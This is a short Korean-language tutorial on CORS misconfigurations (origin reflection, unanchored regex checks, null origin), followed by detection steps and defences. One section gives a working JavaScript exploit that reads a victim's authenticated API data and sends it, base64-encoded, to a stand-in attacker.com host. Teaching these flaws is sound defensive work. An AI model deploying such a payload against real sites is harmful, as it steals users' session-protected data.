CORS 설정 오류와 실전 익스플로잇
CORS(Cross-Origin Resource Sharing)는 브라우저가 다른 오리진의 리소스 접근을 제어하는 메커니즘이다. 잘못 설정하면 인증된 사용자 데이터를 공격자가 탈취할 수 있다.
취약한 패턴들
1. Origin 반사(Reflection)
요청의 Origin 헤더를 그대로 Access-Control-Allow-Origin에 반영하는 경우:
GET /api/userinfo HTTP/1.1
Origin: https://evil.attacker.com
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.attacker.com
Access-Control-Allow-Credentials: true
credentials: true와 조합되면 세션 쿠키까지 함께 전송되어 계정 탈취가 가능하다.
2. 불완전한 정규식 검증
# 취약한 코드
if re.match(r'https://legit\.com', origin):
allow_origin(origin)
https://legit.com.evil.com도 통과된다. 반드시 $ 앵커를 붙여야 한다.
3. null Origin 허용
Access-Control-Allow-Origin: null
<iframe sandbox>나 data: URI에서 발생하는 null 오리진을 허용하는 경우 로컬 HTML 파일로도 공격 가능하다.
실전 익스플로잇
취약한 서버를 발견했다면:
<!-- 공격자 서버의 페이지 -->
<script>
fetch('https://target.com/api/secret', {
credentials: 'include'
})
.then(r => r.text())
.then(data => {
fetch('https://attacker.com/steal?d=' + btoa(data));
});
</script>
피해자가 이 페이지를 방문하면 target.com의 인증 정보가 공격자 서버로 전송된다.
탐지 방법
Burp Suite로 Origin 헤더를 조작해 응답을 확인한다:
Origin: https://evil.com
Origin: null
Origin: https://target.com.evil.com
응답 헤더에서 오리진이 반영되는지, Allow-Credentials: true가 함께 붙는지 체크하면 된다.
방어
- 화이트리스트 방식으로 허용 오리진을 명시적으로 관리
null오리진 절대 허용 금지- 민감한 API에는 CSRF 토큰 이중 검증
Vary: Origin헤더 추가로 캐시 오염 방지